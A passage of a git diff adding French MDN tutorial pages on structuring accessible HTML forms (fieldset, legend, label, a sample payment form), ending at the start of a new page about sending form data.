+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_3<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>large<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_3<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Grand<span class="tag token"><span class="tag token"><span class="punctuation token">e&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Note </strong>: Vous trouverez cet exemple dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html">fieldset-legend.html</a> (voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html">directement aussi</a>).</p>
+</div>
+
+<p>En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième.</p>
+
+<p>Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation.</p>
+
+<p>En raison de son influence sur les techniques d'assistance, l'élément {{HTMLElement("fieldset")}} est l'un des éléments clés pour la création de formulaires accessibles ; cependant, il vous appartient de ne pas en abuser. Si possible, chaque fois que vous créez un formulaire, essayez d'<a href="https://www.nvaccess.org/download/">écouter comment un lecteur d'écran</a> l'interprète. Si cela ne paraît pas naturel, essayez d'améliorer la structure du formulaire.</p>
+
+<h2 id="L'élément_&lt;label>">L'élément &lt;label&gt;</h2>
+
+<p>Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>name<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Nom :<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>name<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>user_name<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Avec un élément <code>&lt;label&gt;</code> correctement associé à <code>&lt;input&gt;</code> par l'intermédiaire respectivement des attributs <code>for</code> et <code>id</code> (l'attribut <code>for</code> de &lt;label&gt; référence l'attibut <code>id</code> du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ».</p>
+
+<p>Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout.</p>
+
+<p>Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>name<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  Nom : <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>name<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>user_name<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut <code>for</code> parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets.</p>
+
+<h3 id="Les_étiquettes_peuvent_être_cliquées_aussi_!">Les étiquettes peuvent être cliquées, aussi !</h3>
+
+<p>Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible.</p>
+
+<p>Par exemple :</p>
+
+<pre class="brush:html; line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>J'aime les cerises<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_1<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_cherry<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>J'aime les bananes<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_2<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>taste_banana<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Note </strong>: Vous trouverez cet exemple dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html">checkbox-label.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html">directement aussi</a>).</p>
+</div>
+
+<h3 id="Étiquettes_multiples">Étiquettes multiples</h3>
+
+<p>En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}.</p>
+
+<p>Considérons cet exemple :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Les champs obligatoires sont suivis de <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- Donc ceci : --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Nom :<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- sera mieux programmé ainsi : --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span><span class="punctuation token">&gt;</span></span>Nom :<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- mais ceci est probablement encore meilleur : --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Nom :<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>abbr</span> <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>required<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>*<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>abbr</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>username<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe.</p>
+
+<ul>
+ <li>Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments &lt;label&gt; embrouillent le lecteur d'écran.</li>
+ <li>Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée.</li>
+ <li>Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ».</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong> : Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong> : Vous trouverez cet exemple sur GitHub dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html">required-labels.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html">directement aussi</a>). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID !</p>
+</div>
+
+<h2 id="Structures_HTML_courantes_dans_les_formulaires">Structures HTML courantes dans les formulaires</h2>
+
+<p>Au-delà des structures propres aux formulaires HTML,rappelons‑nous que les formulaires sont du pur HTML. Vous pouvez donc utiliser toute la puissance du HTML pour structurer un formulaire.</p>
+
+<p>Comme vous avez pu le voir dans les exemples, il est de pratique courante d'envelopper une étiquette et son widget avec un élément {{HTMLElement("div")}}. Les éléments {{HTMLElement("p")}} sont aussi couramment utilisés, tout comme les listes HTML (ces dernières sont très courantes pour structurer plusieurs cases à cocher ou boutons radio).</p>
+
+<p>En plus de l'élément {{HTMLElement("fieldset")}}, il est habituel d'utiliser des titres HTML (par exemple {{htmlelement("h1")}}, {{htmlelement("h2")}}) et des sections (par exemple {{htmlelement("section")}}) pour structurer un formulaire complexe.</p>
+
+<p>Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à l'aise pour coder, et qui se traduit aussi par des formulaires accessibles et utilisables.</p>
+
+<p>Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}.</p>
+
+<h3 id="Apprentissage_actif_construire_une_structure_de_formulaire">Apprentissage actif : construire une structure de formulaire</h3>
+
+<p>Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant (<a href="/fr/docs/Learn/HTML/Forms/The_native_form_widgets">Les widgets natifs pour formulaire</a>). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi.</p>
+
+<ol start="1" style="list-style-type: decimal;">
+ <li>Pour commencer, faites une copie locale de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">fichier modèle vierge</a> et des <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS pour notre formulaire de paiement </a> dans un nouveau répertoire.</li>
+ <li>Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML :
+  <pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;link href="payment-form.css" rel="stylesheet"&gt;</code></pre>
+ </li>
+ <li>Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} :
+  <pre class="brush: html line-numbers  language-html">&lt;form&gt;
+
+&lt;/form&gt;</pre>
+ </li>
+ <li>Entre les balises <code>&lt;form&gt;</code>, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires :
+  <pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;h1&gt;Formulaire de paiement&lt;/h1&gt;
+&lt;p&gt;Les champs obligatoires sont suivis par un &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;.&lt;/p&gt;</code></pre>
+ </li>
+ <li>Ensuite, nous ajoutons une grande section de code dans le formulaire, sous la précédente. Ici vous verrez que nous enveloppons les champs d'informations de contact dans des éléments {{htmlelement("section")}} distincts. De plus, nous avons un ensemble de deux boutons radio, que nous mettons chacun à l'intérieur de leur propre élément de liste ({{htmlelement("li")}}). Enfin, nous avons deux zones de texte standard {{htmlelement("input")}} et leurs éléments {{htmlelement("label")}} associés, chacun contenu dans un élément {{htmlelement("p")}}, plus une entrée pour le mot de passe. Ajoutez ce code à votre formulaire maintenant :
+  <pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;section&gt;
+    &lt;h2&gt;Informations de contact&lt;/h2&gt;
+    &lt;fieldset&gt;
+      &lt;legend&gt;Qualité&lt;/legend&gt;
+      &lt;ul&gt;
+          &lt;li&gt;
+            &lt;label for="title_1"&gt;
+              &lt;input type="radio" id="title_1" name="title" value="M." &gt;
+              Monsieur
+            &lt;/label&gt;
+          &lt;/li&gt;
+          &lt;li&gt;
+            &lt;label for="title_2"&gt;
+              &lt;input type="radio" id="title_2" name="title" value="Mme."&gt;
+              Madame
+            &lt;/label&gt;
+          &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/fieldset&gt;
+    &lt;p&gt;
+      &lt;label for="name"&gt;
+        &lt;span&gt;Nom : &lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="text" id="name" name="username"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="mail"&gt;
+        &lt;span&gt;e-mail :&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="email" id="mail" name="usermail"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="pwd"&gt;
+        &lt;span&gt;Mot de passe :&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="password" id="pwd" name="password"&gt;
+    &lt;/p&gt;
+&lt;/section&gt;</code></pre>
+ </li>
+ <li>Nous arrivons maintenant à la deuxième <code>&lt;section&gt;</code> de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe <code>&lt;p&gt;</code>. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième  est un élément <code>&lt;input&gt;</code> de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément <code>&lt;input&gt;</code> de type <code>date</code> pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus :
+  <pre class="brush: html line-numbers  language-html"><code class="language-html">
+&lt;section&gt;
+    &lt;h2&gt;Informations de paiement&lt;/h2&gt;
+    &lt;p&gt;
+      &lt;label for="card"&gt;
+        &lt;span&gt;Type de carte :&lt;/span&gt;
+      &lt;/label&gt;
+      &lt;select id="card" name="usercard"&gt;
+        &lt;option value="visa"&gt;Visa&lt;/option&gt;
+        &lt;option value="mc"&gt;Mastercard&lt;/option&gt;
+        &lt;option value="amex"&gt;American Express&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="number"&gt;
+        &lt;span&gt;Numéro de carte :&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+      &lt;/label&gt;
+      &lt;input type="text" id="number" name="cardnumber"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;label for="date"&gt;
+        &lt;span&gt;Validité :&lt;/span&gt;
+        &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+        &lt;em&gt;format mm/aa&lt;/em&gt;
+      &lt;/label&gt;
+      &lt;input type="text" id="date" name="expiration"&gt;
+    &lt;/p&gt;
+&lt;/section&gt;</code></pre>
+ </li>
+ <li>La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type <code>submit</code>, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire :
+  <pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;p&gt; &lt;button type="submit"&gt;Valider le paiement&lt;/button&gt; &lt;/p&gt;</code></pre>
+ </li>
+</ol>
+
+<p>Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouverez aussi sur GitHub — voir la <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.html">source</a> payment-form.html et une exécution <a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/payment-form.html">directe</a>):</p>
+
+<p>{{EmbedLiveSample("Un_formulaire_de_paiement","100%","620", "", "Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple")}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre  des divers types de widgets pour formulaire pour collecter les informations utilisateur.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external" title="http://www.alistapart.com/articles/sensibleforms/">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><span>Comment structurer un formulaire HTML</span></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_données_des_formulaires/index.html b/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_données_des_formulaires/index.html
new file mode 100644
index 0000000000..bc81996fda
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_données_des_formulaires/index.html
@@ -0,0 +1,371 @@
+---
+title: Envoyer et extraire les données des formulaires
+slug: Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires
+tags:
+  - Débutant
+  - En-têtes
+  - Fichier
+  - Formulaire
+  - Guide
+  - HTML
+  - HTTP
+  - Sécurité
+  - Web
+translation_of: Learn/Forms/Sending_and_retrieving_form_data
+---
+<div>{{learnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prérequis :</th>
